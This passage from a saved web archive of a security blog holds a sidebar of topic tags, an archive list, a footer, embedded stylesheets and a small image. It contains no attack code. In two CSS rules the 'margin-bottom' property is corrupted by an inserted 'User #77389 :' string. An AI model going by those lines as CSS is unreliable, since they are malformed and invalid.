href=3D"http://www.greyhathacker.net/?tag=3Demet" class="3D""tag-link-33" = title=3D"1 topic" style=3D"font-size: 8pt;">EMET</a> <a href=3D"http://www.greyhathacker.net/?tag=3Dfakeav" class="3D""tag-link-19= " title=3D"2 topics" style=3D"font-size: 13.25pt;">FakeAV</a> <a href=3D"http://www.greyhathacker.net/?tag=3Dheapspray" class="3D""tag-link= -37" title=3D"1 topic" style=3D"font-size: 8pt;">heapspray</a> <a href=3D"http://www.greyhathacker.net/?tag=3Dhidden" class="3D""tag-link-14= " title=3D"3 topics" style=3D"font-size: 16.75pt;">Hidden</a> <a href=3D"http://www.greyhathacker.net/?tag=3Dhijack" class="3D""tag-link-24= " title=3D"4 topics" style=3D"font-size: 19.666666666667pt;">Hijack</a> <a href=3D"http://www.greyhathacker.net/?tag=3Dirfanview" class="3D""tag-link= -36" title=3D"1 topic" style=3D"font-size: 8pt;">IrfanView</a> <a href=3D"http://www.greyhathacker.net/?tag=3Djava" class="3D""tag-link-39" = title=3D"1 topic" style=3D"font-size: 8pt;">Java</a> <a href=3D"http://www.greyhathacker.net/?tag=3Dmcafee" class="3D""tag-link-30= " title=3D"1 topic" style=3D"font-size: 8pt;">McAfee</a> <a href=3D"http://www.greyhathacker.net/?tag=3Dmsi" class="3D""tag-link-20" t= itle=3D"1 topic" style=3D"font-size: 8pt;">MSI</a> <a href=3D"http://www.greyhathacker.net/?tag=3Dmsword" class="3D""tag-link-44= " title=3D"1 topic" style=3D"font-size: 8pt;">MSWord</a> <a href=3D"http://www.greyhathacker.net/?tag=3Dpgp" class="3D""tag-link-25" t= itle=3D"1 topic" style=3D"font-size: 8pt;">PGP</a> <a href=3D"http://www.greyhathacker.net/?tag=3Dpif" class="3D""tag-link-15" t= itle=3D"1 topic" style=3D"font-size: 8pt;">pif</a> <a href=3D"http://www.greyhathacker.net/?tag=3Dremoteexec" class="3D""tag-lin= k-31" title=3D"2 topics" style=3D"font-size: 13.25pt;">RemoteExec</a> <a href=3D"http://www.greyhathacker.net/?tag=3Dreturn-to-libc" class="3D""tag= -link-13" title=3D"3 topics" style=3D"font-size: 16.75pt;">Return to Libc</= a> <a href=3D"http://www.greyhathacker.net/?tag=3Drop" class="3D""tag-link-32" t= itle=3D"5 topics" style=3D"font-size: 22pt;">ROP</a> <a href=3D"http://www.greyhathacker.net/?tag=3Dsandbox" class="3D""tag-link-2= 6" title=3D"1 topic" style=3D"font-size: 8pt;">Sandbox</a> <a href=3D"http://www.greyhathacker.net/?tag=3Dskype" class="3D""tag-link-41"= title=3D"1 topic" style=3D"font-size: 8pt;">Skype</a> <a href=3D"http://www.greyhathacker.net/?tag=3Dsurething" class="3D""tag-link= -29" title=3D"1 topic" style=3D"font-size: 8pt;">SureThing</a> <a href=3D"http://www.greyhathacker.net/?tag=3Dsymantec" class="3D""tag-link-= 9" title=3D"1 topic" style=3D"font-size: 8pt;">Symantec</a> <a href=3D"http://www.greyhathacker.net/?tag=3Dtrailing" class="3D""tag-link-= 23" title=3D"1 topic" style=3D"font-size: 8pt;">trailing</a> <a href=3D"http://www.greyhathacker.net/?tag=3Duac" class="3D""tag-link-45" t= itle=3D"1 topic" style=3D"font-size: 8pt;">UAC</a> <a href=3D"http://www.greyhathacker.net/?tag=3Duri" class="3D""tag-link-12" t= itle=3D"3 topics" style=3D"font-size: 16.75pt;">URI</a> <a href=3D"http://www.greyhathacker.net/?tag=3Dvista" class="3D""tag-link-10"= title=3D"1 topic" style=3D"font-size: 8pt;">Vista</a></div> </li><li id=3D"archives-3" class="3D""widget widget_archive"><h2 class="3D""wid= get-title">Archives</h2> <ul> <li><a href=3D"http://www.greyhathacker.net/?m=3D201412">December 2014</a>= (1)</li> <li><a href=3D"http://www.greyhathacker.net/?m=3D201406">June 2014</a>&nbs= p;(1)</li> <li><a href=3D"http://www.greyhathacker.net/?m=3D201401">January 2014</a>&= nbsp;(1)</li> <li><a href=3D"http://www.greyhathacker.net/?m=3D201311">November 2013</a>= (1)</li> <li><a href=3D"http://www.greyhathacker.net/?m=3D201309">September 2013</a= > (1)</li> <li><a href=3D"http://www.greyhathacker.net/?m=3D201302">February 2013</a>= (1)</li> <li><a href=3D"http://www.greyhathacker.net/?m=3D201212">December 2012</a>= (1)</li> <li><a href=3D"http://www.greyhathacker.net/?m=3D201208">August 2012</a>&n= bsp;(1)</li> <li><a href=3D"http://www.greyhathacker.net/?m=3D201206">June 2012</a>&nbs= p;(1)</li> <li><a href=3D"http://www.greyhathacker.net/?m=3D201202">February 2012</a>= (1)</li> <li><a href=3D"http://www.greyhathacker.net/?m=3D201201">January 2012</a>&= nbsp;(1)</li> <li><a href=3D"http://www.greyhathacker.net/?m=3D201112">December 2011</a>= (1)</li> <li><a href=3D"http://www.greyhathacker.net/?m=3D201111">November 2011</a>= (1)</li> <li><a href=3D"http://www.greyhathacker.net/?m=3D201108">August 2011</a>&n= bsp;(2)</li> <li><a href=3D"http://www.greyhathacker.net/?m=3D201107">July 2011</a>&nbs= p;(1)</li> <li><a href=3D"http://www.greyhathacker.net/?m=3D201104">April 2011</a>&nb= sp;(1)</li> <li><a href=3D"http://www.greyhathacker.net/?m=3D201103">March 2011</a>&nb= sp;(1)</li> <li><a href=3D"http://www.greyhathacker.net/?m=3D201010">October 2010</a>&= nbsp;(3)</li> <li><a href=3D"http://www.greyhathacker.net/?m=3D201006">June 2010</a>&nbs= p;(1)</li> <li><a href=3D"http://www.greyhathacker.net/?m=3D201005">May 2010</a> = ;(1)</li> <li><a href=3D"http://www.greyhathacker.net/?m=3D201003">March 2010</a>&nb= sp;(2)</li> <li><a href=3D"http://www.greyhathacker.net/?m=3D201002">February 2010</a>= (1)</li> <li><a href=3D"http://www.greyhathacker.net/?m=3D200912">December 2009</a>= (1)</li> <li><a href=3D"http://www.greyhathacker.net/?m=3D200909">September 2009</a= > (1)</li> <li><a href=3D"http://www.greyhathacker.net/?m=3D200905">May 2009</a> = ;(1)</li> <li><a href=3D"http://www.greyhathacker.net/?m=3D200904">April 2009</a>&nb= sp;(1)</li> <li><a href=3D"http://www.greyhathacker.net/?m=3D200809">September 2008</a= > (1)</li> <li><a href=3D"http://www.greyhathacker.net/?m=3D200711">November 2007</a>= (2)</li> </ul> </li><li id=3D"meta-3" class="3D""widget widget_meta"><h2 class="3D""widget-tit= le">Meta</h2> <ul> <li><a href=3D"http://www.greyhathacker.net/wp-login.php">Log in</a><= /li> <li><a href=3D"http://www.greyhathacker.net/?feed=3Drss2">Entries <abbr = title=3D"Really Simple Syndication">RSS</abbr></a></li> <li><a href=3D"http://www.greyhathacker.net/?feed=3Dcomments-rss2">Comme= nts <abbr title=3D"Really Simple Syndication">RSS</abbr></a></li> <li><a href=3D"https://wordpress.org/" title=3D"Powered by WordPress, state= -of-the-art semantic personal publishing platform.">WordPress.org</a></li> = </ul> </li></ul><!-- end sidebar --> </div><!-- end container --> </div><!-- end page-wrap --> <footer id=3D"colophon" role=3D"contentinfo"> <div id=3D"site-generator"> <a href=3D"http://wordpress.org/" rel=3D"generator">Proudly powered by Wo= rdPress</a> Theme: Parament by <a href=3D"http://automattic.com/" rel=3D"designer">Au= tomattic</a>. </div> </footer> </body></html> ------=_NextPart_000_F36D_71461CB5.6CB8B07E Content-Type: text/css Content-Transfer-Encoding: quoted-printable Content-Location: http://www.greyhathacker.net/wp-content/plugins/captcha/css/style.css .cptch_example_fields_actions { float: left; height: 18px; width: 140px; po= sition: relative; top: -7px; padding: 2px 0px; } .cptch_example_fields_actions img { position: relative; width: 30px; top: 6= px; } .cptch_block { direction: ltr; } .cptch_help_box { cursor: pointer; float: left; height: 29px; position: rel= ative; margin: -3px 5px 3px; width: 29px; clear: none !important; backgroun= d-image: url(http://www.greyhathacker.net/wp-content/plugins/captcha/images= /tooltip_icons.png); background-repeat: no-repeat; } .cptch_hidden_help_text { border: 1px solid rgb(220, 220, 220); border-radi= us: 4px; left: 40px; padding: 5px 10px; position: absolute; width: 240px; l= ine-height: 1.5; background: rgb(244, 244, 244); } .cptch_hidden_help_text::before { content: url(http://www.greyhathacker.net= /wp-content/plugins/captcha/images/help.png); left: -10px; position: absolu= te; top: 7px; } form input.cptch_input { padding-left: 8px; padding-right: 8px; } ------=_NextPart_000_F36D_71461CB5.6CB8B07E Content-Type: image/png Content-Transfer-Encoding: base64 Content-Location: http://www.greyhathacker.net/wp-content/themes/parament/images/diagonal-stripes-010.png iVBORw0KGgoAAAANSUhEUgAAAAYAAAAGCAYAAADgzO9IAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJ bWFnZVJlYWR5ccllPAAAADpJREFUeNpi/P//PwMQsACxIBCzAvFfIP7IhE0QiH8wYRMEKWbCJghS zIRNEKSYEWg5B7ogSDFAgAEAjc0WJFFDMsUAAAAASUVORK5CYII= ------=_NextPart_000_F36D_71461CB5.6CB8B07E Content-Type: text/css Content-Transfer-Encoding: quoted-printable Content-Location: http://www.greyhathacker.net/wp-content/themes/parament/style.css body { color: rgb(152, 158, 174); font-size: 14px; margin: 0px; padding: 15= px 0px 30px; background: url(http://www.greyhathacker.net/wp-content/themes= /parament/images/diagonal-stripes-010.png) rgb(32, 34, 40); } #page-wrap { margin: 0px auto; width: 1000px; } #container { margin: 0px auto; width: 970px; } #main { display: inline; float: left; margin: 0px 25px 30px 10px; width: 66= 0px; } #main.image-template { width: 950px; } .image-template #comments { margin: 0px auto; width: 660px; } .image-template .hentry img { height: auto; max-width: 917px; } body, input, textarea { font-family: Trebuchet, arial, sans-serif; } h1, h2, h3, h4, h5, h6, #site-title, .comment-author, .nav-paged a { font-f= amily: Trebuchet, arial, sans-serif; } code, kbd, pre, samp, tt, var { font-family: Consolas, 'Courier New', Couri= er, monospace; } a { color: rgb(152, 158, 174); text-decoration: none; } a img { border-width: 0px; } a.edit-term img { border-width: 0px; } a:hover, a:active, a:focus { outline: 0px; text-decoration: underline; } abbr, acronym { border-bottom-width: 1px; border-bottom-style: dashed; bord= er-bottom-color: rgb(152, 158, 174); cursor: help; } big { font-size: 2em; position: relative; top: 0.1em; } code, var { border: 0.1em solid rgb(68, 72, 85); color: rgb(152, 158, 174);= font-style: normal; padding: 0px 0.3em; background: rgb(32, 34, 40); } code abbr, code acronym { border-width: 0px; } code var { border-width: 0px; padding: 0px; } b code, b var, strong code, strong var { border-width: 0.2em; } pre code { border-width: 0px; padding: 0px; background: transparent; } del, s, strike { text-decoration: line-through; } ins { color: rgb(32, 34, 40); padding-right: 3px; padding-left: 4px; text-d= ecoration: none; background-color: rgb(152, 158, 174); } small { font-size: 0.9em; line-height: 1.5em; } article, aside, details, figcaption, figure, footer, header, hgroup, menu, = nav, section { display: block; } address, article, aside, blockquote, dl, fieldset, footer, form, header, na= v, ol, p, pre, table, ul, .embed, .entry-content div { font-size: 1em; line= -height: 1.5em; margin: 1.5em 0px; padding: 0px; } .entry-content div div { margin: 0px; padding: 0px; } blockquote, fieldset, pre { border: 0.1em solid rgb(68, 72, 85); padding: 0= .75em; text-align: left; } blockquote, pre { background: rgb(32, 34, 40); } pre { white-space: pre-wrap; } blockquote { font-style: italic; line-height: 1.3; padding: 1em 2em; } blockquote blockquote { margin-right: 0px; margin-left: 0px; background: rg= b(17, 17, 17); } blockquote blockquote blockquote { background: rgb(32, 34, 40); } blockquote cite { color: rgb(204, 207, 215); font-size: 0.85em; font-weight= : bold; } blockquote p { line-height: 1.3; } blockquote p:first-child, blockquote p:only-child, blockquote blockquote:fi= rst-child { margin-top: 0px; } blockquote p:last-child, blockquote p:only-child, blockquote blockquote:las= t-child { margin-bottom: 0px; } hr { border: 1px solid rgb(68, 72, 85); } h1, h2, h3, h4, h5, h6 { clear: both; color: rgb(204, 207, 215); font-weigh= t: bold; line-height: 1.2em; padding: 0px; } h1 { font-size: 25px; font-weight: normal; margin: 0.83em 0px; } h2 { font-size: 22px; font-weight: normal; margin: 1.05em 0px; } h3 { font-size: 19px; font-weight: normal; margin: 1.23em 0px; } h4 { font-size: 15px; margin: 1.35em 0px; } h5, h6 { font-size: 12px; margin: 1.5em 0px; } h1 a, h2 a, h3 a, h4 a, h5 a, h6 a { color: rgb(204, 207, 215); text-decora= tion: none; } ol, ul { padding-left: 30px; } ol ol, ol ul, ul ol, ul ul { list-style-position: inside; margin: 0px; } ul { list-style-type: square; } dt { color: rgb(204, 207, 215); font-size: 16px; font-weight: normal; margi= n: 0px; } dd { margin: 0px 0px 1.5em; padding-bottom: 0.3em; } table { border-collapse: collapse; } th, td { padding: 0.25em 0.5em; } table, th, td { border: 1px solid rgb(17, 17, 17); } tbody th { background-color: transparent; } tbody td { color: rgb(152, 158, 174); background-color: rgb(51, 53, 61); } caption { font-size: 14px; padding-bottom: 7px; } .contain::before, .contain::after { content: ' '; display: block; height: 0= px; visibility: hidden; } .contain::after { clear: both; } .contain { zoom: 1; } #branding { font-size: 12px; margin: 0px auto 15px; min-height: 100px; text= -shadow: rgb(0, 0, 0) 1px 1px 2px; width: 950px; } h1#site-title { font-size: 40px; font-weight: normal; line-height: 47px; ma= rgin: 20px 0px 0px 15px; } h2#site-description { font-size: 16px; line-height: 1.5; margin: 0px 0px 20= px 15px; } h1#site-title a, h2#site-description a { color: rgb(204, 207, 215); display= : block; text-decoration: none; } #menu { border: 1px solid rgb(68, 72, 85); border-radius: 7px; clear: both;= float: left; margin: 0px; padding: 7px 0px 0px; width: 1000px; background:= -webkit-linear-gradient(top, rgb(39, 39, 39) 1%, rgb(7, 7, 7) 100%); } #menu:empty { display: none; } #menu ul { font-size: 13px; list-style: none; margin: 0px; padding-left: 0p= x; } #menu li { float: left; margin: 0px 0px 7px 7px; position: relative; } #menu li li { margin: 0px; } #menu a { color: rgb(152, 158, 174); display: block; line-height: 40px; pad= ding: 0px 15px; text-decoration: none; text-transform: uppercase; } #menu ul ul { border-top-width: 1px; border-top-style: solid; border-top-co= lor: rgb(68, 72, 85); -webkit-box-shadow: rgba(0, 0, 0, 0.2) 0px 3px 3px; b= ox-shadow: rgba(0, 0, 0, 0.2) 0px 3px 3px; display: none; float: left; marg= in: 0px; position: absolute; top: 37px; left: 0px; width: 213px; z-index: 9= 9999; } #menu ul ul ul { border-top-width: 0px; left: 100%; top: 0px; } #menu ul ul a { border-bottom-width: 1px; border-bottom-style: dotted; bord= er-bottom-color: rgb(68, 72, 85); color: rgb(152, 158, 174); font-size: 13p= x; font-weight: normal; line-height: 1.5; padding: 6px 15px; text-transform= : none; width: 183px; height: auto; background: rgb(32, 34, 40); } #menu li:hover > a, #menu a:focus { background: rgb(39, 42, 49); } #menu a:focus, #menu a:active, #menu li:hover > a { color: rgb(255, 255, 25= 5); } #menu li.current-menu-item > a, #menu li.current-menu-ancestor > a, #menu l= i.current_page_item > a, #menu li.current_page_ancestor > a { color: rgb(25= 5, 255, 255); font-weight: bold; background-color: rgb(51, 53, 61); } #menu li li.current-menu-item > a, #menu li li.current-menu-ancestor > a, #= menu li li.current_page_item > a #menu li li.current_page_ancestor > a { bo= rder-radius: 0px; } #menu ul li:hover > ul { display: block; } #menu .menu > li > a, #menu div.menu > ul > li > a { border-radius: 3px; } #introduction { border-width: 0px 1px 1px; border-style: solid; border-colo= r: rgb(68, 72, 85); border-bottom-right-radius: 7px; border-bottom-left-rad= ius: 7px; clear: both; color: rgb(152, 158, 174); margin: 0px; padding: 10p= x 20px; position: relative; background: rgb(32, 34, 40); } #introduction hgroup { float: left; } #page-title { color: rgb(204, 207, 215); font-weight: normal; line-height: = 1.3; margin: 0px; } #page-tagline { color: rgb(102, 108, 127); font-size: 14px; font-weight: no= rmal; line-height: 1; margin-top: 0px; padding-top: 7px; } .search-results #page-title, .search-results #page-tagline { float: left; w= idth: 55%; } #introduction #searchform { position: absolute; top: 0px; right: 15px; } .hentry { border: 1px solid rgb(68, 72, 85); border-radius: 7px; margin: 40= px 0px 30px; position: relative; background: rgb(17, 17, 17); } .hentry p:first-child, .hentry p:only-child { margin-top: 0px; } .hentry p:last-child, .hentry p:only-child { margin-bottom: 0px; } .hentry img { max-width: 627px; width: auto; height: auto; } .title { border-top-right-radius: 7px; border-top-left-radius: 7px; border-= bottom-width: 1px; border-bottom-style: dotted; border-bottom-color: rgb(68= , 72, 85); color: rgb(255, 255, 255); padding: 17px 15px 15px; background: = rgb(32, 34, 40); } .has-byline .title { padding-top: 25px; } h2.entry-title { color: rgb(191, 195, 207); font-size: 25px; font-weight: n= ormal; letter-spacing: 0.025em; line-height: 30px; margin: 0px; padding: 0p= x; } h2.entry-title a { color: rgb(191, 195, 207); } h2.entry-title a:hover { color: rgb(191, 195, 207); text-decoration: none; = } .entry-byline { border: 1px solid rgb(255, 90, 0); color: rgb(255, 255, 255= ); display: block; font-size: 12px; line-height: 1; position: absolute; top= : -10px; left: -10px; text-shadow: rgb(0, 0, 0) 1px 1px 2px; background: rg= b(210, 77, 4); } .entry-byline a { color: rgb(255, 255, 255); font-style: italic; } .entry-byline span, .entry-byline .post-edit-link { display: block; float: = left; padding: 4px 6px; } .entry-byline .post-edit-link { font-style: normal; background: rgb(255, 90= , 0); } .entry-content { overflow: hidden; padding: 15px; } .entry-content a { text-decoration: underline; } .entry-content a:hover, .entry-content a:active, .entry-content a:focus { c= olor: rgb(210, 77, 4); } .entry-meta { color: rgb(102, 108, 127); font-size: 12px; } .entry-meta a { color: rgb(102, 108, 127); text-decoration: none; } .entry-meta a:hover { border-bottom-width: 1px; border-bottom-style: solid;= border-bottom-color: rgb(255, 90, 0); color: rgb(255, 90, 0); text-decorat= ion: none; } div.entry-navigation { clear: both; float: left; margin: 15px 0px 0px; widt= h: 100%; } .entry-navigation span { border: 1px solid rgb(51, 53, 61); border-radius: = 3px; color: rgb(191, 195, 207); float: left; font-size: 13px; line-height: = 25px; margin: 0px 5px 5px 0px; min-width: 27px; padding: 0px; text-align: c= enter; background: rgb(47, 50, 60); } .entry-navigation a:link, .entry-navigation a:visited { color: rgb(255, 255= , 255); text-decoration: none; } .entry-navigation a:active, .entry-navigation a:focus, .entry-navigation a:= hover { color: rgb(85, 136, 187); text-decoration: underline; } .sticky .title { border-bottom-width: 1px; border-bottom-style: solid; bord= er-bottom-color: rgb(210, 77, 4); padding: 8px 15px; background-color: rgb(= 255, 90, 0); } .sticky .entry-byline { border-width: 0px; top: -14px; } .sticky .entry-byline span { display: none; } .sticky h2.entry-title { text-shadow: rgb(0, 0, 0) 1px 1px 2px; } .sticky h2.entry-title, .sticky h2.entry-title a { color: rgb(255, 255, 255= ); } .sticky .entry-meta { display: none; } .sticky .entry-meta, .sticky .entry-meta a { color: rgb(255, 255, 255); } .post-password-required form { margin: 0px; } .post-password-required form p:first-child { margin-top: 0px; } .more-link { color: rgb(210, 77, 4); } #attachment-image { text-align: center; } .mejs-container { font-size: 1em; line-height: 1.5em; margin: 1.5em 0px; pa= dding: 0px; } .format-aside .title { padding: 0px; } .format-aside .entry-title { display: none; } .format-aside .entry-meta { display: none; } .format-image .wp-caption { margin: 0px 0px 5px; max-width: 600px; } .format-image .wp-caption img { max-width: 590px; } #main .gallery img { border: 10px solid rgb(51, 53, 61); } #main .gallery img:hover { border-color: rgb(68, 72, 85); } #main .gallery .gallery-caption { color: rgb(102, 108, 127); font-size: 13p= x; line-height: 1.35; margin: 0px 20px; } #branding.has-image, #menu, #introduction, #respond, .bypostauthor .comment= -meta img, .commentlist article, .commentlist .pingback, .entry-byline, .he= ntry, .widget { -webkit-box-shadow: rgba(0, 0, 0, 0.45098) 0.2em 0.2em 0.3e= m; box-shadow: rgba(0, 0, 0, 0.45098) 0.2em 0.2em 0.3em; } .paged-navigation { display: block; font-weight: bold; padding: 0px 15px; } .paged-navigation a { color: rgb(152, 158, 174); } .paged-navigation a:hover, .paged-navigation a:active, .paged-navigation a:= focus { color: rgb(204, 207, 215); } .nav-older, .nav-newer { width: 48%; } .nav-older { float: left; text-align: left; } .nav-newer { float: right; text-align: right; } #post-nav { border-top-width: 1px; border-top-style: dotted; border-top-col= or: rgb(68, 72, 85); color: rgb(102, 108, 127); font-size: 12px; margin-bot= User #77389 : 0px; } #post-nav a { color: rgb(102, 108, 127); } #post-nav a:hover, #post-nav a:active, #post-nav a:focus { color: rgb(152, = 158, 174); } #post-nav .nav-older, #post-nav .nav-newer { padding: 7px 10px; width: 250p= x; } #colophon { clear: both; color: rgb(119, 125, 146); font-size: 13px; paddin= g: 26px 0px 0px; text-align: center; width: 100%; } #colophon a { color: rgb(119, 125, 146); } #sidebar { float: right; font-size: 12px; margin: 40px 0px 30px; padding: 0= px; position: relative; right: 10px; width: 260px; } #sidebar img { height: auto; max-width: 228px; } #sidebar li { list-style-type: none; } #sidebar .widget li { list-style-type: square; } .widget { border: 1px solid rgb(68, 72, 85); border-radius: 7px; margin-bot= User #77389 : 15px; overflow: hidden; padding: 0px 15px 15px; background-color: rgb(= 17, 17, 17); } .widget a { color: rgb(152, 158, 174); } .widget a:hover, .widget a:active, .widget a:focus { color: rgb(210, 77, 4)= ; } .widget ol { list-style: decimal inside; } .widget-title { border-bottom-width: 1px; border-bottom-style: dotted; bord= er-bottom-color: rgb(68, 72, 85); border-top-right-radius: 6px; border-top-= left-radius: 6px; font-size: 16px; font-weight: normal; line-height: 30px; = margin: 0px; padding: 5px 10px; position: relative; left: -15px; width: 238= px; background: rgb(32, 34, 40); } .widget-title, .widget .widget-title a { color: rgb(204, 207, 215); } .widget div, .widget iframe, .widget table, .widget ul, .widget ol { paddin= g: 15px 0px 0px; } .widget div div { padding: 0px; } .widget ul ul, .widget ul ol, .widget ol ul, .widget ol ol { padding: 0px 0= px 0px 15px; } .widget_calendar table { margin: 0px; width: 100%; } .widget_calendar td a { color: rgb(204, 207, 215); font-weight: bold; } #prev { padding-top: 5px; text-align: left; } #next { padding-top: 5px; text-align: right; } #prev, #next, .widget_calendar th, .widget_calendar .pad { background-color= : transparent; } .widget_calendar td, .widget_calendar th { text-align: center; } #today { color: rgb(255, 255, 255); background-color: rgb(102, 108, 127); } #sidebar .widget_rss ul { padding-bottom: 0px; } #sidebar .widget_rss li { list-style-type: none; padding-bottom: 15px; } #sidebar .widget_rss li .rsswidget { color: rgb(204, 207, 215); font-size: = 16px; font-weight: bold; padding-bottom: 0px; } .widget_rss cite, .rss-date { color: rgb(102, 108, 127); font-size: 12px; f= ont-style: italic; white-space: nowrap; } .widget .rssSummary { padding: 0px; } .widget_search form { margin: 15px 0px 0px; } .commentlist { padding: 0px; } #comments-title, .comments-closed, .nocomments, .nopassword { color: rgb(20= 4, 207, 215); font-weight: normal; text-align: center; text-shadow: rgb(0, = 0, 0) 1px 1px 2px; } #comments-title { margin: 60px 0px 0px 15px; } .commentlist .pingback { padding: 7px 15px; } .commentlist .pingback p { margin: 0px; } .commentlist .comment, .commentlist .pingback { list-style-type: none; } .commentlist .pingback, .commentlist .depth-1 article { border: 1px solid r= gb(68, 72, 85); border-top-left-radius: 7px; border-bottom-left-radius: 7px= ; margin: 0px; background: rgb(17, 17, 17); } .commentlist .comment { margin: 15px 0px; } .comment footer { border-top-left-radius: 6px; border-bottom-width: 1px; bo= rder-bottom-style: solid; border-bottom-color: rgb(68, 72, 85); margin: 0px= ; padding: 10px; background: rgb(32, 34, 40); } .comment-meta { display: block; font-size: 14px; } .comment-meta, .comment-meta a { color: rgb(102, 108, 127); } .comment-meta .avatar { border: 5px solid rgb(68, 72, 85); float: left; } .comment-author { padding-top: 5px; } .comment-author, .comment-awaiting-moderation { margin-left: 60px; } .comment-author .fn, .comment-author .fn a { color: rgb(204, 207, 215); } .comment-author .fn { display: block; font-size: 24px; padding-bottom: 4px;= } .comment-content { padding: 0px 15px; } .comment-content p { margin: 15px 0px; } .bypostauthor > article .comment-meta { border-top-left-radius: 5px; backgr= ound: rgb(68, 72, 85); } .bypostauthor > article .comment-meta, .bypostauthor > article .comment-met= a a { color: rgb(152, 158, 174); } .bypostauthor > article .comment-meta img { border-color: rgb(102, 108, 127= ); } .comment-awaiting-moderation { color: rgb(102, 108, 127); } .comment .reply { display: block; margin: 0px; } .comment .reply a { border-top-width: 1px; border-top-style: solid; border-= top-color: rgb(51, 53, 61); border-left-width: 1px; border-left-style: soli= d; border-left-color: rgb(51, 53, 61); border-top-left-radius: 7px; color: = rgb(152, 158, 174); display: block; float: right; font-size: 14px; padding:= 5px 10px; background: rgb(28, 28, 28); } .comment .reply a:hover, .comment .reply a:focus, .comment .reply a:active = { border-color: rgb(68, 72, 85); color: rgb(204, 207, 215); background-colo= r: rgb(32, 34, 40); } #respond { border: 1px solid rgb(68, 72, 85); border-radius: 7px; margin: 1= 5px 0px; padding: 15px; background: rgb(17, 17, 17); } #respond form { margin: 0px; } #respond p { margin: 0px 0px 15px; } #respond p.form-submit { margin-bottom: 0px; } #reply-title { font-size: 22px; font-weight: normal; line-height: 1; margin= -top: 0px; margin-bottom: 7px; } .comment-notes, .comment-notes a, .logged-in-as, .logged-in-as a { color: r= gb(102, 108, 127); font-size: 14px; font-style: italic; } #respond .form-allowed-tags { border: 1px solid rgb(68, 72, 85); font-size:= 12px; margin: 15px 0px; padding: 7px; background: rgb(32, 34, 40); } .form-allowed-tags code { border-width: 0px; background: transparent; } .required { color: rgb(210, 77, 4); } #respond input, #respond textarea { border: 1px solid rgb(68, 72, 85); font= -size: 14px; padding: 3px 7px; background: rgb(204, 207, 215); } #respond input:focus, #respond textarea:focus { background: rgb(234, 236, 2= 39); } #respond #submit { border: 1px solid rgb(255, 90, 0); border-radius: 5px; c= olor: rgb(255, 255, 255); font-size: 14px; margin: 0px; padding: 3px 5px; t= ext-shadow: rgb(0, 0, 0) 1px 1px 2px; background: rgb(210, 77, 4); } .comment-form-author, .comment-form-url, .comment-form-email { clear: both;= padding-bottom: 3px; } .comment-form-author label, .comment-form-url label, .comment-form-email la= bel { float: left; min-width: 6em; } .comment-form-author .required, .comment-form-url .required, .comment-form-= email .required { float: left; width: 15px; } .comment-form-url input { position: relative; left: 15px; } .comment-form-comment label { display: none; } .comment-form-comment textarea { width: 97.5%; height: 16em; } #cancel-comment-reply-link { border: 1px solid rgb(255, 90, 0); border-radi= us: 5px; color: rgb(255, 255, 255); cursor: pointer; text-shadow: rgb(0, 0,= 0) 1px 1px 2px; font-size: 14px; font-weight: normal; padding: 2px 5px; ba= ckground: rgb(210, 77, 4); } .aligncenter, div.aligncenter { display: block; margin-right: auto; margin-= left: auto; } .alignleft, div.alignleft { float: left; margin: 5px 15px 15px 0px; } .alignright, div.alignright { float: right; margin: 5px 0px 15px 15px; } #main div.wp-caption { border: 1px solid rgb(68, 72, 85); border-bottom-rig= ht-radius: 6px; border-bottom-left-radius: 6px; padding: 15px 10px 10px; ma= x-width: 96.5%; text-align: center; background-color: rgb(32, 34, 40); } #main div.wp-caption img { max-width: 100%; } #main .wp-caption-text { color: rgb(152, 158, 174); display: block; font-si= ze: 12px; line-height: 1.4; } .assistive-text, .screen-reader-text { clip: rect(1px 1px 1px 1px); positio= n: absolute !important; } #s { border-width: 0px; color: rgb(102, 108, 127); font-size: 14px; padding= : 3px 22px 3px 3px; width: 200px; background: url(http://www.greyhathacker.= net/wp-content/themes/parament/images/search.gif) 100% -3px no-repeat rgb(2= 55, 255, 255); } #searchsubmit { display: none; } .clear { clear: both; } #ie7 #menu { padding-bottom: 7px; } #ie7 #menu li:hover, #ie8 #menu li:hover { display: block; z-index: 10; } #ie7 #menu ul ul a, #ie8 #menu ul ul a { border-bottom-style: solid; backgr= ound: rgb(32, 34, 40); } #flickr table, #flickr th, #flickr td { margin: 0px; padding: 0px; backgrou= nd-color: transparent; } #flickr #flickr_badge_uber_wrapper { margin-top: 15px; } #flickr #flickr_badge_wrapper a { color: rgb(210, 77, 4); } #flickr #flickr_badge_wrapper img { max-width: 223px; } #vodpod_recent_videos { margin: 15px auto 0px; } .widget_authors img { vertical-align: middle; } #sidebar #authors li { list-style: none; } #socialvibe_badge img { border-radius: 5px; padding: 0px 0px 7px; backgroun= d: rgb(204, 204, 204); } #sidebar #authors li li { list-style: square; } #authors .avatar { margin-right: 5px; } #subscribe-blog input[type=3D"submit"] { border: 1px solid rgb(255, 90, 0);= border-radius: 5px; color: rgb(255, 255, 255); cursor: pointer; text-shado= w: rgb(0, 0, 0) 1px 1px 2px; font-size: 14px; font-weight: normal; padding:= 2px 5px; background: rgb(210, 77, 4); } .highlander-comment { background-color: transparent !important; } #respond.js { border: 1px solid rgb(68, 72, 85); background-color: rgb(32, = 34, 40); } #respond.js h3#reply-title { padding-left: 15px; margin-top: 0px; } #respond.js #cancel-comment-reply-link { position: relative; right: 15px; b= ottom: 5px; } .commentlist #respond.js { margin-top: 15px; } #main .sharedaddy .sd-block { border-color: rgb(68, 72, 85); } #sidebar #recent-comments td { background: transparent; } .geo-map { margin-top: 15px; } .infinite-scroll .infinite-wrap { border-top-style: none; padding: 0px; } .infinite-scroll #posts-nav, .infinite-scroll.neverending #colophon { displ= ay: none; } .infinite-scroll .infinite-loader { color: rgb(255, 255, 255); } .infinite-scroll #infinite-footer .container { border-color: rgb(68, 72, 85= ); background: rgba(32, 34, 40, 0.901961); } .infinite-scroll #infinite-footer .blog-credits { color: rgb(152, 158, 174)= ; } .infinite-scroll #infinite-footer .container a { color: rgb(204, 207, 215);= } .infinite-scroll #infinite-footer .container a:hover { color: rgb(255, 255,= 255); } .infinite-scroll #infinite-handle span { -webkit-box-shadow: rgba(0, 0, 0, = 0.45098) 0.2em 0.2em 0.3em; border: 1px solid rgb(68, 72, 85); border-radiu= s: 7px; box-shadow: rgba(0, 0, 0, 0.45098) 0.2em 0.2em 0.3em; display: inli= ne-block; padding: 1em 1.5em; background: rgb(17, 17, 17); } .infinite-scroll #infinite-handle span, .infinite-scroll #infinite-handle s= pan::before { color: rgb(152, 158, 174); } .infinite-scroll 